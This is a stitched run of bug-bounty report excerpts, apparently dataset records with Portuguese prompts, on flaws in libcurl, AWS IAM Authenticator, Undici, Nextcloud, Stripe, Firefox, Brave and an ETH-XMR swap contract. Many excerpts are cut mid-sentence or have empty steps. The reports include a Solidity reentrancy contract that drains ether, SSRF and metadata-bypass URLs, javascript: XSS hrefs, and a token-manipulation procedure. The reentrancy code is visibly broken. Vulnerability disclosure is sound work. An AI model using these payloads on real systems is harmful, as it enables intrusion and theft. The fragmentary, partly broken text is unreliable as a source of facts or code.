If a user is able to set a big bearer token and perform an arbitrary number of meaningless requests it could slowly eat up all system's memory.\n\nIn particular, substituting the bearer string literal with a user-supplied input (let's say `argv[1]`) an attacker could pass in a token as large as roughly 45 kilobytes, which would result in 45 kilobytes of leaked memory on each request that could sum up to hundreds or thousands of megabytes on long-running services. This could eventually lead to the service being killed by the OOM killer, as well as slow downs of overall system performance, especially in constrained environments.\n\nThe example reported above, if substituting `argv[1]` to the literal and simulating a high number of requests with a for loop, leads to the following memory usage:\n\n```text\n$ cc -g -fsanitize=address main_args.c $(pkg-config --cflags --libs libcurl) -o asan_args && time ./asan_args $(openssl rand -hex 23000)\n=================================================================\n==9608==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 45954999 byte(s) in 999 object(s) allocated from:\n #0 0x7f55142917a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454\n #1 0x7f55141fa3cd (/lib/x86_64-linux-gnu/libcurl.so.4+0x673cd)\n\nSUMMARY: AddressSanitizer: 45954999 byte(s) leaked in 999 allocation(s).\n./asan_args $(openssl rand -hex 23000) 7,62s user 0,74s system 8% cpu 1:36,56 total\n```\n\nThis example is taken to the extreme, but 40 MiB in one minute and a half is a big amount of leaked memory nonetheless.\n\nIt is also worth noting that the leaked data is fairly sensitive, as bearer tokens are widely used for authentication in a variety of places (e.g. REST APIs)."

The token's content is a signed AWS STS request to the GetCallerIdentity endpoint, where the response content is used to map to matching K8s identity (username, groups).\n\nI found several bypasses to validation parts in [AWS IAM Authenticator](https://github.com/kubernetes-sigs/aws-iam-authenticator):\n1. It is possible to craft a token **without signed cluster ID header** and use it for replay attacks.\n2. It is possible to manipulate the extracted **AccessKeyID**. Since the AccessKeyID value [can be used as part of the identity](https://github.com/kubernetes-sigs/aws-iam-authenticator#:~:text=%23%20If%20unalterable%20identification%20of%20an%20IAM%20User%20is%20desirable%2C%20you%20can%20map%20against%0A%20%20%23%20AccessKeyID.), it allows an attacker to gain hight permissions in the cluster.\n3.

View the output of the server and the request:\n* If you chose the \"other action\" token, if the action is valid STS action (such as GetSessionToken) the server will log the following error message: \n*\"sts getCallerIdentity failed: arn '' is invalid: 'arn: invalid prefix'\".*\nIf the action is invalid STS action (such as CreateUser) the server will log the following error message:\n*\"sts getCallerIdentity failed: error from AWS (expected 200, got 400).

Note that if requests are being passed through burp, you can send the STS request that was sent by the server to the repeater and delete the \"X-K8s-Aws-Id\" header and its value.\n\n* If you chose the \"other value as access key\", the server will log the injected value as the access key \"accesskeyid=some-other-value\"\nIn this case, it is possible to trick the mapping. Create the following mapping in the aws-iam-authenticator server config:\n```yaml\n mapUsers:\n - userARN: arn:aws:iam::000000000000:user/Alice\n username: user:{{AccessKeyID}}\n groups:\n - test\n```\nResent the request with the token and the server will respond with:\n```json\n{\"metadata\":{\"creationTimestamp\":null},\"spec\":{},\"status\":{\"authenticated\":true,\"user\":{\"username\":\"user:some-other-value\",\"uid\":\"aws-iam-authenticator:<aws-account-id>:<aws-user-id>\",\"groups\":[\"test\"],\"extra\":{\"accessKeyId\":[\"some-other-value\"],\"arn\":[\"arn:aws:iam::<aws-account-id>:user/<aws-username>\"],\"canonicalArn\":[\"arn:aws:iam::<aws-account-id>:user/<aws-user-name>\"],\"sessionName\":[\"\"]}}}}\n```\nThe final K8s username was controlled by the attacker.\n\n### Impacto\nAn attacker can bypass parts in the authentication and authorization checks that might control the values of the K8s *username* and *groups* during the mapping. This can help an attacker to gain higher permissions in the K8s cluster."

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Undici does not use CONNECT or otherwise validate upstream HTTPS certificates when using a proxy",
"input": "",
"output": "### Passos para Reproduzir\n1. Use any proxy that supports HTTPS upstream connections and HTTP downstream connections. For a quick test, you can use https://hub.docker.com/r/vimagick/privoxy/ with Docker by running `docker run --rm -it -p 8118:8118 vimagick/privoxy:latest` to start an HTTP proxy on localhost:8118.\n2. Then make a request to a HTTPS site with an invalid certificate (e.g. https://self-signed.badssl.com/) using Undici with this proxy , like so:\n```\nconst undici = require('undici')\nconst dispatcher = new undici.ProxyAgent({ uri: \"http://localhost:8118\" })\nconsole.log((await undici.fetch(\"https://self-signed.badssl.com\", { dispatcher })).status);\n```\n3. The request should fail. The upstream certificate is self signed and completely invalid. Instead it succeeds and prints 200.\n\nThis works in Node 16.14.2 using Undici 5.3.0, and in Node 18.2.0 using Undici 5.3.0 or the built-in `fetch()` method. AFAICT this affects all versions of both. This works for all badssl.com test sites that should fail, including expired certificates, and certificates with the wrong hostname.\n\nYou can confirm that this should be rejected by removing the `{ dispatcher }` option. Sending the request directly without the proxy will correctly throw a `Error: self-signed certificate` error.\n\nThis is not really related to the proxy configuration. The proxy here could verify the upstream certificate and it doesn't, but in my quick bit of testing for this issue it appears that no proxies verify upstream certificates for you because nobody should ever be sending HTTPS traffic in plaintext through a proxy like this. Some proxies disallow non-CONNECT connections entirely, which avoids this issue, but that means they are totally unusable with Undici's ProxyAgent in all cases.\n\nHTTPS clients using proxies should always open a direct tunnel to the remote server via CONNECT, and then verify an end-to-end TLS connection on top of that as normal.\n\n---\n\nThe above reproduces the main \"HTTPS via HTTP proxy is not secure\" bug. To reproduce the related bug, where HTTPS certificates with HTTPS proxies is not validated correctly and so unusable:\n\n1. Install 'proxy' from npm\n2. Run `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365`\n3. Enter 'passphrase' as the passphrase and 'localhost' as the common name\n4. Start an HTTPS proxy using this cert by running:\n```\nconst https = require('https');\nconst proxy = require('proxy');\nconst fs = require('fs');\n\nproxy(https.createServer({\n key: fs.readFileSync('./key.pem'),\n passphrase: 'passphrase',\n cert: fs.readFileSync('./cert.pem')\n})).listen(8443);\n```\n5. In a new terminal in the same directory, run `export NODE_EXTRA_CA_CERTS=$(pwd)/cert.pem` to trust the proxy's certificate.\n6. In another node process in that terminal, use this proxy from Undici:\n```\nconst undici = require('undici')\nconst dispatcher = new undici.ProxyAgent({ uri: \"https://localhost:443\" }); // HTTPS connection to server\nconsole.log((await undici.fetch(\"https://example.com\", { dispatcher })).status);\n```\n7. This throws \"Error [ERR_TLS_CERT_ALTNAME_INVALID]: Hostname/IP does not match certificate's altnames: Host: example.com. is not cert's CN: localhost\".\n\nThis is incorrect validation, because the 'localhost' certificate is the certificate of the proxy, not the remote server. Since that certificate is trusted, it should be acceptable for the connection to the localhost proxy, and the server's certificate should be retrieved via a CONNECT tunnel and validated separately. All together, this makes HTTPS proxies unusable with Undici.\n\n### Impacto\nThis very seriously affects all use of HTTPS via a HTTP proxy with Undici or Node's global fetch. In this case, it removes all HTTPS security from all requests sent using Undici's ProxyAgent, allowing trivial MitM attacks by anybody on the network path between the client and the target server (local network users, your ISP, the proxy, the target server's ISP, etc). Attackers can MitM the connection freely, using any certificate they like with no validation involved, allowing them to view or modify all request & response details.\n\nThis less seriously affects HTTPS via HTTPS proxies, but it's still bad: when you send HTTPS via a proxy to a remote server, the proxy can freely view or modify all HTTPS traffic unexpectedly (but only the proxy - generally not anybody else on the network path). This is mitigated by this use case being entirely broken in Undici right now though AFAICT, since the proxy's HTTPS certificate is never validated correctly and so is always rejected. On the other hand, that does mean all proxy users must be using plain-text HTTP, which is seriously impacted by this issue."

Subsequently the pointers will be written to unallocated memory by `stream->push_headers[stream->push_headers_used++] = h;`\n\n### Passos para Reproduzir\n1. Have HTTP2 server that sends more than 1 << 26 `PUSH_PROMISE` headers\n 2. `curl https://targetsite`\n\nThe fix is to limit the amount of promise headers that are accepted and return error if too many are received.\n\n### Impacto\nHeap overflow.\n\nThis issue is likely very hard to trigger as it requires a system where realloc for `(1 << 26) * sizeof(char *)` bytes is successful. This is rather rare. In addition to be exploitable in other than denial of service capacity the attacker would need to find out some way way to obtain code execution by the array overflow. This would likely work by having some object get allocated to the newly released heap memory and then get overwritten by this array pointer write. An example would be an object that has pointer to command to execute.\n\nAs such the practical impact of this vulnerability is low."

"input": "",
"output": "### Resumo da Vulnerabilidade\nlibcurl handles `gss_unwrap` `GSS_S_BAD_SIG` error incorrectly. This enables malicious attacker to inject arbitrary FTP server responses to GSSAPI protected FTP control connection and/or make the client consume unrelated heap memory as a FTP command response.\n\nThe defective `krb5_decode` function is as follows:\n ```\nstatic int\nkrb5_decode(void *app_data, void *buf, int len,\n int level UNUSED_PARAM,\n struct connectdata *conn UNUSED_PARAM)\n{\n gss_ctx_id_t *context = app_data;\n OM_uint32 maj, min;\n gss_buffer_desc enc, dec;\n\n (void)level;\n (void)conn;\n\n enc.value = buf;\n enc.length = len;\n maj = gss_unwrap(&min, *context, &enc, &dec, NULL, NULL);\n if(maj != GSS_S_COMPLETE) {\n if(len >= 4)\n strcpy(buf, \"599 \");\n return -1;\n }\n\n memcpy(buf, dec.value, dec.length);\n len = curlx_uztosi(dec.length);\n gss_release_buffer(&min, &dec);\n\n return len;\n}\n```\nNote how `read_data` function will set the `buf->size` to result of the decode operation as-is without considering possible `-1` return code and that size `buf->size` is of type `size_t`:\n```\n/* Types needed for krb5-ftp connections */\nstruct krb5buffer {\n void *data;\n size_t size;\n size_t index;\n BIT(eof_flag);\n};\n```\n```\nstatic CURLcode read_data(struct connectdata *conn,\n curl_socket_t fd,\n struct krb5buffer *buf)\n{\n int len;\n CURLcode result;\n\n result = socket_read(fd, &len, sizeof(len));\n if(result)\n return result;\n\n if(len) {\n /* only realloc if there was a length */\n len = ntohl(len);\n buf->data = Curl_saferealloc(buf->data, len);\n }\n if(!len || !buf->data)\n return CURLE_OUT_OF_MEMORY;\n\n result = socket_read(fd, buf->data, len);\n if(result)\n return result;\n buf->size = conn->mech->decode(conn->app_data, buf->data, len,\n conn->data_prot, conn);\n buf->index = 0;\n return CURLE_OK;\n}\n```\nWhen `gss_unwrap` returns an error the `krb5_decode` code attempts to erase the buffer by prefixing the buffer with `599 \\0`. However, this doesn't take into account the case that arbitrary number of bytes can be read by `read_data` function. Hence the buffer may contain multiple lines not just one. The attacker merely needs to find a position in the FTP protocol where ftpcode `599` doesn't lead to connection termination to take over the GSSAPI protected FTP session control channel. From that point onwards the server responses can be forged by the attacker (but need to be predicted, as the attacker has no direct knowledge of the actual commands sent to the server).\n\nIt's also notable that the any `gss_unwrap` error leading to `-1` size will lead to `sec_recv` consuming unallocated heap buffer via `buffer_read` if the reading application keeps reading more data:\n```\nstatic size_t\nbuffer_read(struct krb5buffer *buf, void *data, size_t len)\n{\n if(buf->size - buf->index < len)\n len = buf->size - buf->index;\n memcpy(data, (char *)buf->data + buf->index, len);\n buf->index += len;\n return len;\n}\n```\nThis can lead to disclosure of confidential information from the heap - depending on application this may reveal application secrets to the user (for example via verbose error messages). This is a local leak however, so this impact is only meaningful if the information in heap is normally hidden from the user.\n\n### Impacto\n- Injection of arbitrary FTP control channel server responses to supposedly GSSAPI protected FTP session.\n- Potential leak of local heap memory to client.\n\nThe practical impact of this vulnerability is rather low, considering the rarity of Kerberos FTP and requirement of either man in the middle or victim connecting to malicious server."

"input": "",
"output": "### Resumo da Vulnerabilidade\nThe mail extension in nextcloud includes a module called \"cerdic/csstidy\" which basically ships with a publicly accessible test/example interface to play with the CSS formatter and optimiser (/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php). This module allows contacting any remote server via http, which makes it vulnerable to SSRF. We've tried reaching out to the csstidy developers directly but couldn't reach them yet, so we're reaching out to you so they can fix this before csstidy pushes out a fix.\n\nIt's also possible to download remote data as a CSS file into a temporary directory in /apps/mail/vendor/cerdic/css-tidy/temp/. At the moment, this doesn't look to be exploitable on its own, and probably requires another vulnerability to exploit, e.g. a Local File Inclusion vulnerability could be turned into a Remote File Inclusion by first creating a CSS file containing PHP code (downloaded from a remote server via the csstidy vulnerability), and then including the local file via the LFI bug.\n\n### Passos para Reproduzir\n1. Install the mail extension\n 2. Visit: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php (no authentication is required)\n 3. Either use the interface to set \"CSS from URL\" on the bottom or set the \"url\" parameter manually, for example: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://localhost/test\n 4. To download remote data as CSS file, either use the interface or try this: http://example.com/apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://localhost/apps/richdocuments/docs/custom.css&custom=1&template=4\n\n### Impacto\nUsually, SSRFs are not considered a high-impact vulnerability, and I would likely agree on most PHP projects, but (a) this vulnerability can be exploited by an unauthenticated attacker and (b) nextcloud is also designed to be used at a home network which opens the possibility of not only attacking other local services, but also the router of the home network. The ability to receive and write CSS files can also be used by the attacker to find out what other services are running on devices in the network or what kind of router is used etc., before running additional attacks."

Checks for metadata. Specifically the Alibaba metadata, and google cloud metadata. \nOther metadata like aws and digital ocean uses 169.254.169.25 which is included in the `FILTER_FLAG_NO_RES_RANGE`. Google cloud metadata tho, can be accessed with http://metadata.google.internal which is not in any checks from above. And the alibaba metadata can be accessed with `100.100.100.200`, this ip is neither in the `FILTER_FLAG_NO_PRIV_RANGE` or `FILTER_FLAG_NO_RES_RANGE` flags, also bypassing the check. \nThis make it vulnerable to ssrf when the nextcloud host is hosted with either google cloud or alibaba\n\n### Impacto\nSSRF filter bypass"

My guess for that vulnerability is that since cookies are persistent, someone who can trick curl into storing cookies can store large amounts of cookies into curl cookie store, which will prevent curl from ever interacting with the server (due to large request being generated causing a 400 error)\n\nI found a separate way to do this, curl does not implement character check on cookie name or value when saving to cookie store. So for example a form feed '\\f' can be saved in curl's cookie store. When form feed is sent by curl to a server such as Apache, Apache will respond with 400 Error (historically, Apache would accept, however now due to HTTP smuggling concerns, Apache will now strictly reject any such control characters.), preventing someone from ever interacting the server with the cookie store.\n\nAccording to the spec, cookies should not contain control characters anyway, see https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1.\n\n### Passos para Reproduzir\n1. \n\nIn test.php,\n`````\n<?php\necho(\"HTTP/1.1 200 OK\\r\\nDate: Fri, 29 Apr 2022 10:11:55 GMT\\r\\nServer: Apache/2.4.43 (Debian)\\r\\nSet-Cookie: a=b\\f; \\r\\nContent-Length: 0\\r\\nConnection: close\\r\\nContent-Type: text/html; charset=UTF-8\\r\\n\\r\\n\");\n`````\nSetup malicious server,\n`````\nphp test.php | nc -nvlp 3333\n`````\n\n2.

That time, I revoked app access from the old.reddit.com and i checked my app and as expected i was not able to use the account in my app. \n\nAfter 2 days I was checking the chat invites feature on the web and after some time I turned on the internet on my mobile and got a Reddit \"invitation accept\" notification. I clicked on that and I was surprised that I was able to use the previously revoked user account again in the Reddit app.\n\nAfter I tried to reproduce the scenario again. I thought the revoked account get access again after clicking on the app \"chat invite\" notification. \n- I again revoked the app access from the old.reddit.com\n- I sent a chat invitation link to another test account and replied with the test account so that I get a \"chat accept\" notification in the mobile\n- After several tries from several test accounts, Finally, I received the \"chat accept\" invitation, only one time on the mobile (Note: this is also an issue)\n- I clicked on the notification and I was not able to access anything in the app (it was showing some error)\n- I tried to reproduce the issue again, I don't know the reason But this time I was not able to view the chat invite links from any accounts. (it was showing some error)\n- It took my whole day and I stopped testing.\n\nThe next day again I got a post notification on my mobile. I clicked on that and again I see that the app was working as usual with a previous logged-in user!!!\n\nFinally, I came to the conclusion that whenever we revoke the app access, it works fine. But if you check the app approximately after 20+ hours you can reuse the previously logged-in account again.\n\n### Passos para Reproduzir\n1. log in to your account from both the android mobile app and from the web(reddit.com or old.reddit.com)\n 2.

Now open the Reddit app where you have logged in step 1\n 6. You are no more able to access any info about the user and it will show errors like \"Let's try that again\" or \"uh oh something went wrong but we're not sure what\"\n 7. Open the app approximately after 20+ hours and see that you can reuse the previously logged-in account without any issue.\n\n### Impacto\nUnauthorized access to account even though revoking the access."

This will allow the attacker to drain almost all of the ethers from the smart contract. Due to technical reasons, there will remain only 1 ether in the smart contract.\n\nHowever, this is the code published in the github of noot. I haven't found any smart contract that has implemented this code. Therefore, I have tagged it with low severity. I am not an active member of monero community, therefore, I don't really know if this feature is actually used and how much. \nI have found smart contract that could be used for atomic swap between eth-xmr, but it hasn't got this vulnerability. For the address of this smart contract, please check section\n\n### Passos para Reproduzir\nThe attack occurs in the SwapFactory.sol smart contract\n 1. Deploy the smart contract bellow that will act as the attacker. When deploying, you have to initialize 5 variables in the constructor.\n * _swapFactoryAddress => the address of the deployed smart contract that we are attacking\n * pubKeyRefund_ => enter the public key you have from the eliptic curve\n * claimer_ => it is already initialize to the attacker's smart contract address\n * timeoutDuration_ => how much time it must pass before we can refund\n * nonce_ => a unique identifier\n\ncontract Attack {\n SwapFactory public factory;\n\n bytes32 public pubKeyRefund;\n address public payable claimer;\n uint256 public timeoutDuration;\n uint256 public nonce;\n\n //storing the refund's parameters\n tuple refundsSwap;\n bytes32 refundssecret;\n\n constructor(\n address _swapFactoryAddress, \n bytes32 pubKeyRefund_,\n uint256 timeoutDuration_,\n uint256 nonce_\n ) {\n factory = SwapFactory(_swapFactoryAddress);\n pubKeyRefund = pubKeyRefund_;\n claimer = address(this);\n timeoutDuration = timeoutDuration_;\n nonce = nonce_;\n }\n\n //Create a new swap\n function createSwap() public payable {\n factory.new_swap(pubKeyRefund, claimer, timeoutDuration, nonce)\n }\n\n //Create a new swap\n function initializeReady(tuple _swap) public {\n factory.set_ready(_swap)\n }\n\n //Initialize the variables that will be used as parameters for the refund\n function initializeRefundsParameters(tuple _refundsSwap, bytes32 _refundsSecret) public {\n refundsSwap = _refundsSwap;\n refundsSecret = _refundsSecret;\n }\n\n // Fallback is called when SwapFactory sends Ether to this contract.\n fallback() external payable {\n if (address(factory).balance >= 1 ether) {\n factory.refund(refundsSwap, refundsSecret);\n }\n }\n\n function attack() external payable {\n factory.refund(refundsSwap, refundsSecret);\n }\n\n // Helper function to check the balance of this contract\n function getBalance() public view returns (uint) {\n return address(this).balance;\n }\n}\n\n2. Call the createSwap(). This will call the SwapFactory's new_swap() with the parameters we have initialized when deploying the Attack smart contract\n3. Call the initializeReady(). This will call the SwapFactory's set_ready(). You have to put in correct address.\n4. Call initializeRefundsParameters(). This will initialize 2 variables that we are going to use when calling SwapFactory's refund(). Make sure you pass 2 correct parameters. You do this before deploying the Attack smart contract.\n5. Call the attack() \n6. This will call the SwapFactory's refund()\n7. refund() has 3 requirement statements that we need to pass:\n * require(swapStage != Stage.COMPLETED && swapStage != Stage.INVALID, \"swap is already completed\");\n It will pass, because we have called the set_ready(), which will set the swap to READY\n *require(msg.sender == _swap.owner, \"refund must be called by the swap owner\");\n It will pass, because we have iitialized the smart contract as the swap's owner\n *require(\n block.timestamp >= _swap.timeout_1 ||\n (block.timestamp < _swap.timeout_0 && swapStage != Stage.READY),\n \"it's the counterparty's turn, unable to refund, try again later\"\n );\n It will pass, if we call refund(), after swap.timeout_0. We have setted the swap to READY, therefore, the second part of the || will succeeed\n8. The refund() will then verify the keys, therefore, it's essential that we have initialize the variables, which are used in refund() as parameters, correctly\n9. The refund() will then emit an event\n10. Now we come to the vulnerability. The smart contract will send us the ether in the swap. This will call our fallback() in the Attack smart contract. The fallback() will again call the refund() with the same parameters. Because the SwapFactory.sol changes the swap stage into COMPLETED only after sending ether, we can drain everything except 1 ether from the smart contract. The cycle:\n- refund() sends eth to our smart contract\n- this initializes fallback() in the smart contract,\n- it checks if there is more than 1 eth in the SwapFactory. If it is, it calls again the refund()\n- because we still fulfill all the requirements in the refund(), the refund() will send us eth again\n- it checks if there is more than 1 eth in the SwapFactory. If it is, it calls again the refund()\n- ....\n- when there is only 1 eth left in the SwapFactory smart contract, the transaction will end\n\n\nThe same vulnerability can be found in the claim() of the SwapFactory. However, you would need to create 2 addresses and 2 public and private keys. One address would work as the creator of the swap and the other would collect swap. However, when collecting, you would be able to drain the eth from the smart contract.\n\n### Impacto\nI have found a reentrancy vulnerability in the eth-xmr atomic swap's smart contract that has been built by noot and has been founded by Monero CSS proposal. This will allow the attacker to drain almost all of the ethers from the smart contract.

Here is a critical report. :)\nOn Pressable, we can create API applications at https://my.pressable.com/api/applications, and we can access many things using the API token via following the [API docs](https://my.pressable.com/documentation/api/v1)\n\nI created an API application and tried to update it, I saw this request :\n\n████████\n\nAs you can see there is an `application[id]` parameter that contains the application ID.

"output": "### Resumo da Vulnerabilidade\nHello,\n\nI was reading up on the recent SSRF bug found on NextCloud which is originally a part of this [report](https://hackerone.com/reports/1608039) by @tomorrowisnew_ \n\nI went through the source code again which was highlighted in the report I mentioned and I noticed that filtering for some of the more advanced SSRF payloads were clearly missing. Alphanumeric payloads came to my mind when thinking about the same so I set up a local test environment with my friend @w1redch4d\n\nWe primarily focused on the code around the IP checking namely `ThowIfLocalIp`:\n```php\n\tpublic function ThrowIfLocalIp(string $ip) : void {\n\t\t$localRanges = [\n\t\t\t'100.64.0.0/10', // See RFC 6598\n\t\t\t'192.0.0.0/24', // See RFC 6890\n\t\t];\n\t\tif (\n\t\t\t(bool)filter_var($ip, FILTER_VALIDATE_IP) &&\n\t\t\t(\n\t\t\t\t!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)\n\t\t\t)) {\n\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n\n\t\t// Also check for IPv6 IPv4 nesting, because that's not covered by filter_var\n\t\tif ((bool)filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && substr_count($ip, '.') > 0) {\n\t\t\t$delimiter = strrpos($ip, ':'); // Get last colon\n\t\t\t$ipv4Address = substr($ip, $delimiter + 1);\n\n\t\t\tif (\n\t\t\t\t!filter_var($ipv4Address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)) {\n\t\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t\t}\n\t\t}\n\t}\n```\nAs seen above, the code is more than capable of rooting out most of the SSRF payloads including IPv4 and IPv6 as well as the recently pointed out payload involving the Alibaba metadata IP `100.100.100.200`. But as stated above, the filtration technique fails when met with some of the more advanced SSRF payloads like the alphanumeric ones. In our test environment, we edited the code and set up a dummy website to test different payloads. The workflow was simple, if the payload was an invalid attempt at an SSRF, the server will throw an exception but if all the filtrations were bypassed successfully, the server would echo Pass.\n\n### Impacto\nAttackers can leverage enclosed alphanumeric payloads to bypass IP filters and gain SSRF. An example can be using `⑯⑨。②⑤④。⑯⑨｡②⑤④` which would allow an attacker to read crucial metadata if the server is hosted on the AWS platform. The above payload will resolve to the magic IP of AWS namely `169.254.169.254` but bypasses all the filtering present in the code itself."

The only difference is that the previous issue I found on a live Stripe App(which uses a `Link` tag maybe). But, here in this report \"I found it possible to create an XSS vulnerability with the help of the `Button` tag\".\n\n### Passos para Reproduzir\n1. Create a demo Custom app through stripe-cli\n2. Replace your viewport with `\"viewport\": \"stripe.dashboard.drawer.default\"` in `stripe-app.json`, So the app works on every page in the dashboard\n3. Copy and paste the below code into your `App.tsx` file\n```\nimport { Box, ContextView, Inline, Link } from \"@stripe/ui-extension-sdk/ui\";\nimport type { ExtensionContextValue } from \"@stripe/ui-extension-sdk/context\";\nimport {Button} from '@stripe/ui-extension-sdk/ui';\nimport {Img} from '@stripe/ui-extension-sdk/ui'\nimport {Chip, ChipList} from '@stripe/ui-extension-sdk/ui';\n\nimport BrandIcon from \"./brand_icon.svg\";\n\n/**\n * This is a view that is rendered in the Stripe dashboard's customer detail page.\n * In stripe-app.json, this view is configured with stripe.dashboard.customer.detail viewport.\n * You can add a new view by running \"stripe apps add view\" from the CLI.\n */\n\nconst App = ({ userContext, environment }: ExtensionContextValue) => {\n return (\n <ContextView\n title=\"XSS POC\"\n brandColor=\"#F6F8FA\" // replace this with your brand color\n brandIcon={BrandIcon} // replace this with your brand icon\n >\n\t \n\t <Button href=\"javascript://%0aalert(123)\">\n\t\tXSS with %0a\n\t </Button>\n\t <Button href=\"javascript://%0dalert(document.domain)\">\n\t\tXSS with %0d\n\t </Button>\n\t \n </ContextView>\n );\n};\n\nexport default App;\n```\n3. Then, Run and Open your app\n4. Once you open your app then after click on the button link. It will doesn't execute because of CSP.\n{F2106779}\n\n5. But, If you turn off your CSP protection with the help of an [extension](https://chrome.google.com/webstore/detail/disable-content-security/ieelmcmcagommplceebfedjlakkhpden) then XSS will execute.\n{F2106780}\n\n### Impacto\nIf an attacker is able to bypass CSP then there is a possible stored XSS vulnerability in https://dashboard.stripe.com."

This causes a Cross-Site Scripting attack, which may allow attackers to take over accounts. \nTo do that, one would need to bypass the Content-Security-Policy on Firefox's website, which looks like this:\n```http\nContent-Security-Policy: connect-src 'self' https://api.accounts.firefox.com https://graphql.accounts.firefox.com https://oauth.accounts.firefox.com https://profile.accounts.firefox.com wss://channelserver.services.mozilla.com https://channelserver.services.mozilla.com https://*.sentry.io http://localhost:4318;default-src 'self';form-action 'self' https://accounts.google.com https://appleid.apple.com;font-src 'self' https://accounts-static.cdn.mozilla.net;frame-src 'none';img-src 'self' blob: data: https://secure.gravatar.com https://firefoxusercontent.com https://profile.accounts.firefox.com https://accounts-static.cdn.mozilla.net;media-src blob:;object-src 'none';report-uri /_/csp-violation;script-src 'self' https://accounts-static.cdn.mozilla.net;style-src 'self' https://accounts-static.cdn.mozilla.net;base-uri 'self';frame-ancestors 'self';script-src-attr 'none';upgrade-insecure-requests\n```\nBypassing the Content-Security-Policy was not done yet, and I am not sure if its even doable. Therefore I am reporting the vulnerability as is because even without Javascript execution there are some attacks that are still possible script-less. One theoretical attack that could be possible is using the connect-src directive to make requests to the http://localhost:4318 URL and then possibly leak traces or other sensitive data from OpenTelemetry Collector (making Mozilla employees possibly a target for this attack).\n\n### Impacto\nAn attacker can inject HTML on the page and potentially run attacks involving user interaction, with achieving arbitrary javascript code execution not being possible due to the Content Security Policy installed on the server."

If two threads will perform DNS resolving, a wrong register context can be used on the signal handler`siglongjmp` call if DNS timeout occurs. Typically this results in segmentation fault, but depending on platform specifics other impacts might be possible (but unlikely).\n\nThe documentation warns against this very issue in https://curl.se/libcurl/c/threadsafe.html `It is important that libcurl can find and use thread safe versions of these and other system calls, as otherwise it cannot function fully thread safe.` The issue is that there is no way for the application using libcurl to know if the library is MT safe for DNS resolution or not. `CURL_VERSION_THREADSAFE` is mentioned, but this checks availability of atomic init, not MT safety of DNS resolution.\n\nA remote attacker in a privileged network position is able to selectively block the DNS responses and may thus induce the affected target application to crash.\n\n### Passos para Reproduzir\n1.

"output": "### Resumo da Vulnerabilidade\nThis vulnerability was discovered in Brave's QR code scanner, which allows users to read QR codes and open corresponding links. Exploitation of this vulnerability allows attackers to direct users to malicious sites without their consent or knowledge. This vulnerability can put the security of Brave users at risk and allow them to be exposed to phishing, phishing and malware attacks. In this report, we'll describe the vulnerability in more detail, assess its severity, and provide recommendations to address it.\n\n### Passos para Reproduzir\n{F2291837}\n\nThe QR code above is the one I generated to replicate the attack.\nTo create my QR code, I used the site https://app.qr-code-generator.com.\n I included a malicious link in this QR code. As an example link, I used www.evil.com\n\n# Steps To Reproduce\n\n - Open the browser \n- Then in your browser you can click on the \"scan a QR code\" option and scan the QR code in which I have included my malicious link. \nThis will automatically redirect you to the malicious site I inserted in the QR code, without even asking your opinion.\n- However, some QR code scanners do not automatically redirect the user to the malicious site, but rather display the link with the \"Go to site\" option. Other scanners don't even show this option. \n- However, in the case of Brave, the browser automatically redirects the user to the malicious site without their consent, which poses a significant security risk to users.\n\n### Impacto\nHere are some potential business impacts that this security vulnerability could have in Brave 1.50.114, Chromium 112.0.5615.49 on Android 11; Build/RP1A.200720.011:\n\nThe fact that Brave's QR code scanner opens the link without the user's notice has a big impact on user security. This vulnerability allows an attacker to redirect a Brave user to a malicious site without the user being able to see the link and make an informed decision. This can lead to exposure to malware or phishing attacks that can compromise user data.\n\nThe actual impact depends on the nature of the malicious link to which the user is redirected. In the worst case, the link may be designed to steal sensitive information, such as credit card information, credentials, or other personal information. This can lead to loss of privacy and financial damage to the user.\n\nMoreover, if the user is redirected to a malicious site that contains malware, then it can compromise the security of the user's device and lead to loss of important data. Overall, the fact that Brave's QR code scanner automatically opens malicious links without user's notice poses a significant risk to user security and should be fixed as soon as possible.\n\n Increased Risk of Phishing: Exploiting this vulnerability could allow attackers to direct Brave users to malicious sites that can be used to steal sensitive information such as usernames, passwords, banking and other personal information.\n\n Exposure to malware: Malicious sites that users are redirected to may also contain malware that can infect Brave users' devices with malicious programs such as viruses, Trojans or ransomware.\n\n Privacy loss: Brave users may also be at risk of privacy loss if sensitive information is stolen as a result of the exploitation of this vulnerability.\n\n Loss of user trust: If Brave users fall victim to attacks as a result of exploiting this vulnerability, they may lose trust in the application and seek out more secure alternatives, which could impact reputation of the application and the company.\n\n Financial costs: If users fall victim to attacks as a result of this vulnerability, they may suffer financial losses, which may lead to legal action and financial costs to the company responsible for the application."

